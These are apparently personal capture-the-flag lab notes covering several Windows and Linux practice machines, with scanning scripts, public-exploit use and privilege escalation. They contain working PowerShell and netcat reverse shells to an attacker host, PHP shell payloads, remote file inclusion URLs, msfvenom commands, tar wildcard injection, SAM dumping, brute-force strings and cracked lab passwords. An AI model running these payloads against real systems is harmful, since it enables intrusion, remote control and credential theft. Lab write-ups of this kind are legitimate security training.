Owner 侯智晟 meowheckerouo@gamil.com [TOC] --- # 0x04 Windows - /Rejetto HTTP File Server(HTP) RCE /Excessive binary Permission/Unquoto Servicec PATH/ ## Reconnaissance nmap Script ``` #!/bin/sh echo " ################################################## # # # MeowHecker is a cat. # # # ################################################## " TARGET_IP=10.10.183.61; echo HOST Discover; nmap -RP -PS -sn --reason -T4 $TARGET_IP; echo "----------------------------------------------------------------------------------------------------"; echo Scanning Common Port TARGET_OPEN_PORTS=$(nmap -sS -Pn -T4 $TARGET_IP | awk '/^ *[0-9]+\/(tcp|udp)/ {print $1}' | cut -d "/" -f 1 | paste -sd ","); echo Defalut(1000 - port):$TARGET_OPEN_PORTS; echo "----------------------------------------------------------------------------------------------------"; echo "Identifying Services & Operating System & NSE Scanning" nmap -sT -Pn -p $TARGET_OPEN_PORTS -sV -O -sC -T4 $TARGET_IP -oN ./$TARGET_IP.nmap; echo "----------------------------------------------------------------------------------------------------"; echo "Starting ALL Port Scanning in background!"; sleep 20; nmap -sS -Pn -p- -T4 $TARGET_IP -oN PortScan0~65535$TARGET_IP.nmap &; ``` ### Identifying Host Status ![圖片](https://hackmd.io/_uploads/BkpF9k40p.png) ### Probing Common Ports ![圖片](https://hackmd.io/_uploads/SJBg2kV06.png) ### Identifying Services & Operating System & NSE Scanning ![圖片](https://hackmd.io/_uploads/SkX2nkVCT.png) ![圖片](https://hackmd.io/_uploads/Byw1ayE0a.png) ### Thorough Port Scanning (0~65535) ![圖片](https://hackmd.io/_uploads/SyIER1VR6.png) ### Information Disclosure ![圖片](https://hackmd.io/_uploads/S1KIsJNCp.png) Potential User -> Hill Harper ## Discovery & Analysis of New Attack Surface ### Web Services ### Port 80 ``` / /img ``` ### Port:8080 Directory Exposure ``` gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://$TARGET_IP:8080 ``` No result ![圖片](https://hackmd.io/_uploads/rkU9ySNR6.png) -> login -> Home -> Search ### SMB Service ``` TARGET_IP=10.10.183.61; nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $TARGET_IP ``` ![圖片](https://hackmd.io/_uploads/SkUTQe40p.png) Not Result ## Identifying Vulnerability ### Searching public vulnerablility Web Service esists Public vulnerability ! ![圖片](https://hackmd.io/_uploads/rJQ0ygVCT.png) Analysis Attacke Script ![圖片](https://hackmd.io/_uploads/rkDe-eNCT.png) It look like a template injection Attacke Core Concept ! ``` http://10.10.183.61:8080/?search=%00{.+exec|whoami.} ``` Try Another excellent Exploit (Success) ![圖片](https://hackmd.io/_uploads/rJ-_TeE06.png) ![圖片](https://hackmd.io/_uploads/rJihplERp.png) Anaylsis Exploit program ![圖片](https://hackmd.io/_uploads/rykvAeNCT.png) Start the HTTPserver /nc.exe ![圖片](https://hackmd.io/_uploads/SyWrXZ4Ra.png) ## Exploitation ### Initial Access Run the exploit ! ![圖片](https://hackmd.io/_uploads/SJX0ClERp.png) Obtain Initial Access ## Post-Exploitation ![圖片](https://hackmd.io/_uploads/B17zEbVCT.png) ``` powershell -c "Invoke-WebRequest -uri 10.4.42.63:53/PowerUp.ps1 -outfile ./PowerUp.ps1" ``` <!-- powershell -c "Invoke-WebRequest -uri 10.4.42.63:53/nc64.exe -outfile ./nc64.exe" nc64.exe -e cmd 10.4.42.63 4444 --> ![圖片](https://hackmd.io/_uploads/BJ0jHWN0T.png) ### PowerUp.ps1 Scanning Cmd TO Powershell! ``` powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.4.42.63', 4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); $sendback = (iex $data 2>&1 | Out-String); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte, 0, $sendbyte.Length); $stream.Flush() }; $client.Close()" ``` Running Script ``` . ./PowerUp.ps1 Invoke-AllChecks ``` Generate reverse shell (service) ``` powershell -c "Invoke-WebRequest -uri 10.4.42.63:53/Program.exe -outfile ./Program.exe" ``` ### Bill password ![圖片](https://hackmd.io/_uploads/H1WTOG406.png) ### Excessive Binary Permission (FAIL) ``` copy Program.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\" ``` icacls ASCService.exe icacls ASCService.exe /grant bill:F ``` Program C:\Program Files (x86)\IObit\Advanced SystemCare ASCService.exe ``` ![圖片](https://hackmd.io/_uploads/HyXAXf4R6.png) ![圖片](https://hackmd.io/_uploads/H1SMPQEA6.png) ### Unquoted service Path (Work) Require -> CanRestart Start Name Path Permission ![圖片](https://hackmd.io/_uploads/Bka01XV0p.png) Check Unquoto PATH ![圖片](https://hackmd.io/_uploads/r1fgnGNCp.png) This PATH is writeable ! ![圖片](https://hackmd.io/_uploads/S1DRQXVRT.png) ``` icacls Program.exe /grant USER_NAME:F ``` ![圖片](https://hackmd.io/_uploads/Hyukb7V0a.png) ![圖片](https://hackmd.io/_uploads/HJRmQ7ERa.png) ``` sc.exe stop AdvancedSystemCareService9 sc.exe start AdvancedSystemCareService9 ``` ![圖片](https://hackmd.io/_uploads/HyfyQmE0p.png) # 0x05 Windows - /Default Admin Credential/Template Injection to RCE/SeDebugPrivilege, SeImpersonatePrivilege ## Reconnaissance ``` #/bin/sh echo " ################################################## # # # MeowHecker is a cat. # # # ################################################## " TARGET_IP=10.10.129.40; echo HOST Discover; nmap -RP -PS -sn --reason -T4 $TARGET_IP; echo "----------------------------------------------------------------------------------------------------"; echo Scanning Common Port TARGET_OPEN_PORTS=$(nmap -sS -Pn -T4 $TARGET_IP | awk '/^ *[0-9]+\/(tcp|udp)/ {print $1}' | cut -d "/" -f 1 | paste -sd ","); echo Defalut(1000 - port):$TARGET_OPEN_PORTS; echo "----------------------------------------------------------------------------------------------------"; echo "Identifying Services & Operating System & NSE Scanning" nmap -sT -Pn -p $TARGET_OPEN_PORTS -sV -O -sC -T4 $TARGET_IP -oN ./$TARGET_IP.nmap; echo "----------------------------------------------------------------------------------------------------"; sleep 10; echo "Starting ALL Port Scanning in background!"; nmap -sS -Pn -p- -T4 $TARGET_IP -oN PortScan0~65535$TARGET_IP.nmap &; ``` ### Identifying Host Status ![圖片](https://hackmd.io/_uploads/BJX3REER6.png) Host is up! ### Probing Common Ports ![圖片](https://hackmd.io/_uploads/S18A0V4Cp.png) ### Identifying Services & Operating System & NSE Scanning ![圖片](https://hackmd.io/_uploads/HJPSJHVRa.png) ### Thorough Port Scanning (0~65535) ### Information Disclosure ## Discovery & Analysis of New Attack Surface ### Web Services #### Port 80 <!-- Directory Exposure --> ![圖片](https://hackmd.io/_uploads/B1bW-SVC6.png) Directory Exposure No Directory accessable ! #### Port 8080 ![圖片](https://hackmd.io/_uploads/SJLYeSV0T.png) ![圖片](https://hackmd.io/_uploads/B1J5-r4Cp.png) /assets ![圖片](https://hackmd.io/_uploads/HJ-TbBECT.png) /error ![圖片](https://hackmd.io/_uploads/rJREMSECa.png) /logout ![圖片](https://hackmd.io/_uploads/SJJjMrE0a.png) Target Analysis ![圖片](https://hackmd.io/_uploads/BJEXQrEC6.png) ### Network Service ## Identifying Vulnerability ### Week Authentication Login Panel Week Authentication -> Default Credential admin:admin ![圖片](https://hackmd.io/_uploads/B15v8rN0p.png) We obtain the Admin pennel ## Exploitation Find out the to upload the web shell or run the cmd connect back to our machine ![圖片](https://hackmd.io/_uploads/Syn_DrEA6.png) Reverse Powershell https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 ```powershell= powershell iex (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:PORT/Binary');Invoke-PowerShellTcp -Reverse -IPAddress 10.4.42.63 -Port 443 ``` ![圖片](https://hackmd.io/_uploads/Sk8YVINR6.png) ![圖片](https://hackmd.io/_uploads/SkjXrLERa.png) ## Post-Exploitation ### Privilege Escalation #### PowerUP.ps1 (Fail) ``` powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.4.42.63:53/PowerUp.ps1','PowerUp.ps1')" ``` ``` . ./PowerUp.ps1 Invoke-AllChecks ``` ![圖片](https://hackmd.io/_uploads/rJe1OIEAa.png) #### Swithiig the shell to Metepreter ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=80 -f exe > rev_mete_shell.exe ``` ``` msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST tun0 ; set LPORT 80; run" ``` ``` powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.4.42.63:53/rev_mete_shell.exe','rev_mete_shell.exe')" ``` ![圖片](https://hackmd.io/_uploads/ByMB9LEC6.png) ### Abuse Privilege ``` whoami /prive ``` ![圖片](https://hackmd.io/_uploads/ByJEiDE06.png) Backup to User Folder ``` reg save hklm\sam C:\Users\bruce\sam.hive reg save hklm\system C:\Users\bruce\system.hive ``` ![圖片](https://hackmd.io/_uploads/By2RTUNCa.png) Due to Target Not support Python -> Use meterpreter ! ![圖片](https://hackmd.io/_uploads/HJZ9084Ap.png) SAM hashdump ![圖片](https://hackmd.io/_uploads/BJ1AAUNCa.png) ### Crack Hash ``` john -format=NT --wordlist=rockyou.txt WINDOW_HASH.txt ``` ![圖片](https://hackmd.io/_uploads/ryvuWv4Aa.png) Fail ### Seimpersonate & SeAssign Primary Key (FAIL) ``` powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.4.42.63:53/RogueWinRM.exe','RogueWinRM.exe')" ``` ``` powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.4.42.63:53/nc32.exe','nc32.exe')" ``` powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.4.42.63:53/nc64.exe','nc64.exe')" ``` ./RogueWinRM.exe -p "./nc32.exe" -a "-e cmd.exe 10.4.42.63 4444" ``` ![圖片](https://hackmd.io/_uploads/BkC0HwECa.png) ### SeDebugPrivilege, SeImpersonatePrivilege Require: Metepreter #### Load Module ``` load incognito ``` ![圖片](https://hackmd.io/_uploads/HynrguERT.png) To check which tokens are available, ``` list_tokens -g ``` ![圖片](https://hackmd.io/_uploads/rJeYldNAa.png) Use Token ``` impersonate_token "BUILTIN\Administrators" ``` Migrate the metepreter to Admin process ![圖片](https://hackmd.io/_uploads/BkES-u40a.png) ``` migrate ADMIN_PROCESS ``` ![圖片](https://hackmd.io/_uploads/B1V_-_VRa.png) ![圖片](https://hackmd.io/_uploads/SJE7zO40T.png) # 0x06 Windows - /Web-Bruce Force login/Path Traversal % Upload Shell(RCE)/Scheduled Task ## Reconnaissance ``` #/bin/sh echo " ################################################## # # # MeowHecker is a cat. # # # ################################################## " TARGET_IP=10.10.41.190; echo HOST Discover; nmap -RP -PS -sn --reason -T4 $TARGET_IP; echo "----------------------------------------------------------------------------------------------------"; echo Scanning Common Port TARGET_OPEN_PORTS=$(nmap -sS -Pn -T4 $TARGET_IP | awk '/^ *[0-9]+\/(tcp|udp)/ {print $1}' | cut -d "/" -f 1 | paste -sd ","); echo Defalut(1000 - port):$TARGET_OPEN_PORTS; echo "----------------------------------------------------------------------------------------------------"; echo "Identifying Services & Operating System & NSE Scanning" nmap -sT -Pn -p $TARGET_OPEN_PORTS -sV -O -sC -T4 $TARGET_IP -oN ./$TARGET_IP.nmap; echo "----------------------------------------------------------------------------------------------------"; sleep 10 echo "Starting ALL Port Scanning in background"; nmap -sS -Pn -p- -T4 $TARGET_IP -oN PortScan0~65535$TARGET_IP.nmap &; ``` ### Identifying Host Status ![圖片](https://hackmd.io/_uploads/rya6y8r0a.png) Host is up ### Probing Common Ports ![圖片](https://hackmd.io/_uploads/HJLyeLSR6.png) ### Identifying Services & Operating System & NSE Scanning ![圖片](https://hackmd.io/_uploads/rJiLeUSAp.png) ### Thorough Port Scanning (0~65535) ![圖片](https://hackmd.io/_uploads/Syj1OwBCa.png) ## Discovery & Analysis of New Attack Surface ### Web Services Directory Enumeration ![圖片](https://hackmd.io/_uploads/HkwxPwSA6.png) Site Map ![圖片](https://hackmd.io/_uploads/ryW5vvSRT.png) Information disclosure ![圖片](https://hackmd.io/_uploads/Hy0YYDrC6.png) ### Network Service ## Identifying Vulnerability ### Searching public vulnerablility ![圖片](https://hackmd.io/_uploads/S11hhwB06.png) ![圖片](https://hackmd.io/_uploads/HJj8RwSAT.png) Anaysis Exploit Script -> Directory Traversal + Upload web Shell It seem require the authentication to upload the shell ! ![圖片](https://hackmd.io/_uploads/S1kWDsSAT.png) Upload Function ![圖片](https://hackmd.io/_uploads/H1cqwoHRp.png) Shell Script ![圖片](https://hackmd.io/_uploads/H1LUPsrRT.png) ![圖片](https://hackmd.io/_uploads/B16JusHCT.png) ### Manul Testing #### Authentication Defualt Credential admin / admin ![圖片](https://hackmd.io/_uploads/r1Dpy_HR6.png) /Account/login.aspx ![圖片](https://hackmd.io/_uploads/SkhJJdSAa.png) /Account/password-retrieval.aspx ![圖片](https://hackmd.io/_uploads/SyAfydB06.png) ![圖片](https://hackmd.io/_uploads/HkVp4OSRp.png) ![圖片](https://hackmd.io/_uploads/ByWzBdBRT.png) ``` admin ADMIN ``` Week Authentication mechanism ! ``` hydra -l "admin" -P rockyou.txt 10.10.41.190 http-post-form "/Account/login.aspx:__VIEWSTATE=KWC25fG61cg5gTrz%2BbqQqQOa8LS4QYOnFQJzqXBZClc8W9%2FeZPQOT2CAEHJwvrvsfQcNR2jljSXSexhxw37RisOHhVLKIuyuxiv0N6X%2BZu0p%2FcO9NAO37TaiwTKr56aPrl7c93%2F5RwqUJxi%2FcHXyOpikgZcoH%2FZMgT%2FVhTB9bPd7YIe4&__EVENTVALIDATION=XWWQT%2B1JCSNG2w3vwcVK%2FtdMO7dbrI64dv2IUBHX%2BpTrmWEpSlIoBnTUSsYzQeLpJsevsGGLKE8b9jsdkmGczmXxajojgLfWMYzkhvMO4H0HT8tKuq1roy1QGDsEwJTeets4xQ2d1CaGtnlkuf80RKYY9PD2Dws1GcRvNJ9xTHNo2mZm&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=%E7%99%BB%E5%85%A5" ``` ![圖片](https://hackmd.io/_uploads/SJGSGsBAT.png) ## Exploitation RCE ! ``` python3 47011.py -u admin -p 1qaz2wsx -t 10.10.41.190 -l 10.4.42.63:443 ``` ![圖片](https://hackmd.io/_uploads/BJyFKoH0a.png) ## Post-Exploitation ### PowerUP.ps1 ``` cd C:\Windows\Temp powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.4.42.63:53/PowerUp.ps1','PowerUp.ps1')" ``` ### Privilege! (FAIL) ![圖片](https://hackmd.io/_uploads/BksYIRrR6.png) ``` whoami /priv ``` ![圖片](https://hackmd.io/_uploads/HymgqsS0p.png) ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=80 -f exe > rev_mete_shell.exe ``` ``` powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.4.42.63:53/rev_mete_shell.exe','rev_mete_shell.exe')" ``` ![圖片](https://hackmd.io/_uploads/H15Ih0SA6.png) ### Admin Credential (FAIL) ![圖片](https://hackmd.io/_uploads/HyEgPCB0a.png) ``` administrator 4q6XvFES7Fdxs ``` xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.10.219.174 /u:administrator /p:'4q6XvFES7Fdxs!' ![圖片](https://hackmd.io/_uploads/r1o-uAHC6.png) ![圖片](https://hackmd.io/_uploads/BJrFtRBR6.png) ``` rdesktop -u administrator -p 4q6XvFES7Fdxs! 10.10.219.174 ``` ### WinPAES https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASbat/winPEAS.bat ``` powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.4.42.63:53/winPEASx64.exe','winPEASx64.exe')" ``` SystemInfo ![圖片](https://hackmd.io/_uploads/HJwVw18AT.png) ### Scheduler Task -> Allow us modify the binary !! Service inforamtion ![圖片](https://hackmd.io/_uploads/Bklp51U0T.png) Find out the binary allow us to run with administration ### Search Schedule log ![圖片](https://hackmd.io/_uploads/SyrC2yI0a.png) ![圖片](https://hackmd.io/_uploads/Hy4XTkIA6.png) ![圖片](https://hackmd.io/_uploads/rJYKT1806.png) Message.exe allow modify Replace Message.exe to Malcious revershell ![圖片](https://hackmd.io/_uploads/SkkmkxUCp.png) ![圖片](https://hackmd.io/_uploads/SyaSklUCa.png) Solved ! # 0x07 Ubuntu - /SQLI-SQLmap/Local Port Forwarding/webmie (CMS) - RCE (admin) ## Reconnaissance ### Identifying Host Status ![圖片](https://hackmd.io/_uploads/Sy5yJn8Ca.png) ### Probing Common Ports ![圖片](https://hackmd.io/_uploads/rJTekhLR6.png) ### Identifying Services & Operating System & NSE Scanning ![圖片](https://hackmd.io/_uploads/ByxYSkh80p.png) ### Thorough Port Scanning (0~65535) ![圖片](https://hackmd.io/_uploads/HJVF1hURp.png) ### Interesting Information None ## Discovery & Analysis Attack Surface **Web** 0x01 Identify WebService Technique - Language: PHP - FrameWork: ? - Version: ? 0x02 Exists Known Vulnerability ? Unknow 0x03 Start Burp Scanner & crawl the website 0x04 Exists Specialised web Scanner ? 0x05 SiteMap ### Network Service ## Identifying Vulnerability ### Manul Testing - Web Following the list https://book.hacktricks.xyz/pentesting-web/web-vulnerabilities-methodology /Login Page ![圖片](https://hackmd.io/_uploads/r1IWzhICT.png) SQULI Testing ``` 'SELECT SLEEP(20) -- meowhecker ``` UserName ``` ' or 1=1 -- meowPadding (Work) ``` Redreict to http://10.10.238.118/portal.php ![圖片](https://hackmd.io/_uploads/BJJRPn8Rp.png) serach -> 123' ![圖片](https://hackmd.io/_uploads/rygO_hIC6.png) SQLi Detection ## Exploitation Using SQL Map to exploit SQLI vulnerability Dump the Vulnerabilte page reqeust ![圖片](https://hackmd.io/_uploads/BytBth8AT.png) ![圖片](https://hackmd.io/_uploads/BJPno3LRa.png) ``` ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14 | agent47 ``` ![圖片](https://hackmd.io/_uploads/Sk1-32LRp.png) Password ``` videogamer124 ``` ### Attempt login as Agent 47 via SSH ``` ssh agent47@$TARGET_IP ``` ![圖片](https://hackmd.io/_uploads/SJpu2hLCT.png) ## Post-Exploitation Investigate Socket ``` ss -tulpn ``` ![圖片](https://hackmd.io/_uploads/BJmcJpLCa.png) Exposure the service ``` ssh -L 10000:localhost:10000 agent47@$TARGET_IP ``` ![圖片](https://hackmd.io/_uploads/H1m6fa8Ap.png) ![圖片](https://hackmd.io/_uploads/B1n8QaL0p.png) ![圖片](https://hackmd.io/_uploads/Hyxj7aLA6.png) CMS NAME -> Webmin Version 1.580 **Privilege Escalation** ### Exploit kernel (FAIl) ![圖片](https://hackmd.io/_uploads/HkLsBTUAT.png) ### CMS - webmin(1.580) (Success ) ![圖片](https://hackmd.io/_uploads/SkH45pICT.png) ![圖片](https://hackmd.io/_uploads/BkPgs6ICT.png) Fail Attempt anouther Exploit ![圖片](https://hackmd.io/_uploads/BJiuiTUAa.png) ![圖片](https://hackmd.io/_uploads/rJRKnpLRa.png) # 0x07 SMB Information Leak/Brute Force Login webSite/Directory brute force-Hide Page/CMS-Remote File Include(RCE)/Crons jobs wild card injection. ## Reconnaissance ``` #/bin/sh echo " ################################################## # # # MeowHecker is a cat. # # # ################################################## " ATTACKER_IP=10.4.42.63; TARGET_IP=10.10.49.83; echo HOST Discover; nmap -RP -PS -sn --reason -T4 $TARGET_IP; echo "----------------------------------------------------------------------------------------------------"; echo Scanning Common Port TARGET_OPEN_PORTS=$(nmap -sS -Pn -T4 $TARGET_IP | awk '/^ *[0-9]+\/(tcp|udp)/ {print $1}' | cut -d "/" -f 1 | paste -sd ","); echo Defalut(1000 - port):$TARGET_OPEN_PORTS; echo "----------------------------------------------------------------------------------------------------"; echo "Identifying Services & Operating System & NSE Scanning" nmap -sT -Pn -p $TARGET_OPEN_PORTS -sV -O -sC -T4 $TARGET_IP -oX ./$TARGET_IP.Xmap; #searchsploit --name $TARGET_IP.Xmap echo "----------------------------------------------------------------------------------------------------"; sleep 10 echo "Starting ALL Port Scanning in background"; nmap -sS -Pn -p- -T4 $TARGET_IP -oN PortScan0~65535$TARGET_IP.nmap &; searchsploit --nmap $TARGET_IP.Xmap; ``` ### Identifying Host Status ![圖片](https://hackmd.io/_uploads/rkeObkw0T.png) ### Probing Common Ports ![圖片](https://hackmd.io/_uploads/SJfibyDAa.png) ### Identifying Services & Operating System & NSE Scanning ![圖片](https://hackmd.io/_uploads/B1EXMJvRT.png) ![圖片](https://hackmd.io/_uploads/r1tLfkw0p.png) ### Thorough Port Scanning (0~65535) ![圖片](https://hackmd.io/_uploads/HJ4EnJwAp.png) ### Interesting Information None ## Discovery & Analysis Attack Surface **Web** 0x01 Identify WebService Technique - Language: php - Applicaiton Name & Version - SquirrelMail - 1.4.23 - Cuppa(CMS) 0x02 Exists Known Vulnerability ? ![圖片](https://hackmd.io/_uploads/SJJxCyDRa.png) (NotWork!) Requred UserName & Password ! CMS Cuppa Exists Remote file inclusion ! ![圖片](https://hackmd.io/_uploads/H1V2G-DR6.png) 0x03 Exists Specialised web Scanner ? Unknow 0x04 Start Burp Scanner 0x05 Directory Brute-force ![圖片](https://hackmd.io/_uploads/SJ9e6JwAp.png) 0x06 SiteMap ### P0P3 110 ``` nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port 110 $TARGET_IP ``` Burpforce login Attempt userName-> miles ``` hydra -l miles -P rockyou.txt -f $TARGET_IP pop3 -V ``` No Interesting Things ![圖片](https://hackmd.io/_uploads/SJlknyv06.png) ### IMAP 143 No Interesting Things ### SMB Server List the SMB share folder ``` smbclient --no-pass -L //$TARGET_IP ``` ![圖片](https://hackmd.io/_uploads/B1D_OkPCp.png) Connect to Share folder ``` smbclient --no-pass //$TARGET_IP/anonymous ``` ![圖片](https://hackmd.io/_uploads/BJcLYyP0a.png) 最近的一次系統故障導致各種密碼被更改。所有天網員工看到此資訊後都必須更改密碼。 ——麥爾斯‧戴森 -> info -> Weak Password ? ->UserName: milesdyson ![圖片](https://hackmd.io/_uploads/Sky4QxvRp.png) milesdyson ## Identifying Vulnerability **Web** Following the list https://book.hacktricks.xyz/pentesting-web/web-vulnerabilities-methodology Brute Force login Attemp Parameter ``` login_username=mewo&secretkey=mewo&js_autodetect_results=1&just_logged_in=1 ``` ERROR ``` hydra -l "milesdyson" -P log1.txt $TARGET_IP http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect." ``` ![圖片](https://hackmd.io/_uploads/SyebPlvC6.png) User:milesdyson Password:cyborg007haloterminator ![圖片](https://hackmd.io/_uploads/SyWkdgPRp.png) SMB UserName / Password milesdyson )s{A&2Z=F^n_E.B` **Login SMB server ** ``` smbclient -U milesdyson //$TARGET_IP/milesdyson ``` Download Sesitive info ![圖片](https://hackmd.io/_uploads/Hy3oKewRa.png) Page look like in deveopmenting ``` /45kra24zxs28v3yd ``` Exposure the Hide directory ``` gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://$TARGET_IP/45kra24zxs28v3yd:80 ``` ![圖片](https://hackmd.io/_uploads/SkZpW-vAT.png) CMS: Cuppa Attempt Public exploit ![圖片](https://hackmd.io/_uploads/rkmUJSYR6.png) ## Exploitation Exploit remote file include to RCE ![圖片](https://hackmd.io/_uploads/HJO67-DAT.png) PHP shell ``` <?php echo "<pre>" . shell_exec("mkfifo /tmp/f; nc 10.4.42.63 80 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f") . "</pre>"; ?> ``` ``` /45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.4.42.63:53/PHPreverShell.php ``` ### Obtain the initial Shell ![圖片](https://hackmd.io/_uploads/BkyE8WwCa.png) ![圖片](https://hackmd.io/_uploads/r1wNU-PAa.png) ## Post-Exploitation **Shell Stabilization** ![圖片](https://hackmd.io/_uploads/BJDtUbPA6.png) **Privilege Escalation** echo "mkfifo /tmp/f; nc 10.4.42.63 443 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f" > /home/milesdyson/backups/backup.sh **Running LinPEAS** ![圖片](https://hackmd.io/_uploads/BkTuTJORa.png) **Checking crontab Configuration** `cat /etc/crontab` ![圖片](https://hackmd.io/_uploads/BJULDbvAa.png) ![圖片](https://hackmd.io/_uploads/Hyve0k_R6.png) ![圖片](https://hackmd.io/_uploads/BJPA8x_Ap.png) ![圖片](https://hackmd.io/_uploads/rk6SDlO0T.png) ### Wild Cards Parameter Injection ``` echo '#!/bin/bash' > shell.sh echo '/bin/bash' >> shell.sh echo "meow1" > "--checkpoint=1" echo "meow1" > "--checkpoint-action=exec=sh ./shell.sh" ``` Another Ways ``` printf '#!/bin/bash\nchmod +s /bin/bash' > shell.sh echo "" > "--checkpoint-action=exec=sh shell.sh" ``` ![圖片](https://hackmd.io/_uploads/HkGRDVOA6.png) **Checkt SUID permisison** ![圖片](https://hackmd.io/_uploads/BkgWTAD0a.png) No Result **Checkt cap_setuid** ![圖片](https://hackmd.io/_uploads/r1xfGed0T.png) No Result # 0x08 CentOS - /SQULI - joomla (CMS)/Jommla Penal to RCE/Sudo - yum ## Reconnaissance ### NMAP-Scanning ``` #/bin/sh echo " ################################################## # # # MeowHecker is a cat. # # # ################################################## " ATTACKER_IP=10.4.42.63; TARGET_IP=10.10.70.73; echo HOST Discover; nmap -RP -PS -sn --reason -T4 $TARGET_IP; echo "----------------------------------------------------------------------------------------------------"; echo Scanning Common Port TARGET_OPEN_PORTS=$(nmap -sS -Pn -T4 $TARGET_IP | awk '/^ *[0-9]+\/(tcp|udp)/ {print $1}' | cut -d "/" -f 1 | paste -sd ","); echo Defalut(1000 - port):$TARGET_OPEN_PORTS; echo "----------------------------------------------------------------------------------------------------"; echo "Identifying Services & Operating System & NSE Scanning" nmap -sT -Pn -p $TARGET_OPEN_PORTS -sV -O -sC -T4 $TARGET_IP -oX ./$TARGET_IP.Xmap; #searchsploit --name $TARGET_IP.Xmap echo "----------------------------------------------------------------------------------------------------"; sleep 10 echo "Starting ALL Port Scanning in background"; nmap -sS -Pn -p- -T4 $TARGET_IP -oN PortScan0~65535$TARGET_IP.nmap &; searchsploit --nmap $TARGET_IP.Xmap; ``` **Host is UP ?** ![圖片](https://hackmd.io/_uploads/r1nO3UdR6.png) Yes/NO: Yes **Probing Commod Ports** ![圖片](https://hackmd.io/_uploads/HkJc2LOAT.png) **Identifying Services & Operating System & NSE Scanning** ![圖片](https://hackmd.io/_uploads/SJdl68dC6.png) **Thorough Port Scanning (0~65535)** ## Discovery & Analysis Attack Surface **Web** 0x01 Identify WebService Technique ![圖片](https://hackmd.io/_uploads/Sk2BiIKRa.png) - Language: PHP - Applicaiton Name & version - Joomla : 3.7.0 0x02 Exists Known Vulnerability? Yes/NO: Yes SQLI ![圖片](https://hackmd.io/_uploads/SJEcCqtCa.png) 0x03 Exists Specialized web Scanner? Yes/NO: Yes https://www.kali.org/tools/joomscan/ https://github.com/drego85/JoomlaScan Run Scanner Tools-1 ``` python2 joomlascan.py -u http://10.10.249.47/ -t 10\ ``` Admin Component ![圖片](https://hackmd.io/_uploads/SkNtKqY06.png) Component information ![圖片](https://hackmd.io/_uploads/BymQK5tCp.png) Tools-2 ``` apt install joomlascan joomlascan -u http://10.10.249.47/ ``` Joomla 3.7.0 ![圖片](https://hackmd.io/_uploads/rJgSn5tAp.png) ![圖片](https://hackmd.io/_uploads/rJd7XAt0a.png) ![圖片](https://hackmd.io/_uploads/SJiBmAFAp.png) 0x04 Curl the website & Directory Brute-force 0x05 SiteMap 0x06 Analysis Target & interesting Things? **Network Service** ## Identifying Vulnerability **Web** Following the list https://book.hacktricks.xyz/pentesting-web/web-vulnerabilities-methodology Analysis Public Exploit ![圖片](https://hackmd.io/_uploads/Hy9-QjYC6.png) ## Exploitation SQULI- SQLMAP ![圖片](https://hackmd.io/_uploads/BkWWystA6.png) ``` sqlmap -u "http://10.10.249.47/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] ``` ![圖片](https://hackmd.io/_uploads/BkRrFjYCp.png) Exploit tools - 2 SQULI exploit Run joomblash.py to exploit the SLQ vulnerability ![圖片](https://hackmd.io/_uploads/rk0McjKAa.png) ![圖片](https://hackmd.io/_uploads/HJIQoiFCp.png) We Obtain admin User :jonah Password Hash :$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm ### HASH Crack ![圖片](https://hackmd.io/_uploads/BJ-GuhFCp.png) $2 -> look lick bcrypt ``` john -format=bcrypt --wordlist=rockyou.txt passwordHash.txt ``` ![圖片](https://hackmd.io/_uploads/SyOo0otAT.png) ``` spiderman123 ``` Website login http://10.10.249.47/administrator/ jonah spiderman123 ![圖片](https://hackmd.io/_uploads/r1SxB0tCT.png) Upload PHP reverse Shell ``` <?php echo "<pre>" . shell_exec("mkfifo /tmp/f; nc 10.17.1.166 80 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f") . "</pre>"; ?> ``` ![圖片](https://hackmd.io/_uploads/H1vSLCtAT.png) We could attempt use template injection or find another way to upload the shell Search Public Exploit way ![圖片](https://hackmd.io/_uploads/HJKVPRK0T.png) ![圖片](https://hackmd.io/_uploads/SJq6O0Y0a.png) ![圖片](https://hackmd.io/_uploads/rJ-eYAYAT.png) 